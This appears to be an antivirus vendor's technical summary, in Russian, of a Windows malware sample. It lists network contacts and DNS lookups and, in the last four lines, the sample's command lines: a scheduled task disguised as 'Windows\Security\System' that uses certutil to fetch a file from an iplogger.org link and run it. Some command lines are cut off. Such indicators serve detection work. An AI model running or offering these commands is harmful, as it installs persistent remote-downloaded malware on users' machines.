Техническая информация
- <SYSTEM32>\tasks\windows\security\system
- 'ip###ger.org':443
- 'microsoft.com':80
- 'cl###.owncube.com':443
- 'ip###ger.org':443
- 'cl###.owncube.com':443
- DNS ASK ip###ger.org
- DNS ASK microsoft.com
- DNS ASK cl###.owncube.com
- '<SYSTEM32>\cmd.exe' /c <nul set /p="N" | schtasks /create /sc onidle /i 2 /tn "Windows\Security\System" /tr "<SYSTEM32>\cmd.exe /min /c certutil -urlcache -split -f https://iplogger.org/2sq9t6 %programdata%/file.e...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c <nul set /p="N" | schtasks /create /sc onidle /i 2 /tn "Windows\Security\System" /tr "<SYSTEM32>\cmd.exe /min /c certutil -urlcache -split -f https://iplogger.org/2sq9t6 %programdata%/file.e...
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="N" 0<nul"
- '<SYSTEM32>\schtasks.exe' /create /sc onidle /i 2 /tn "Windows\Security\System" /tr "<SYSTEM32>\cmd.exe /min /c certutil -urlcache -split -f https://iplogger.org/2sq9t6 %ALLUSERSPROFILE%/file.exe & cmd.exe /c %ALLUSERSP...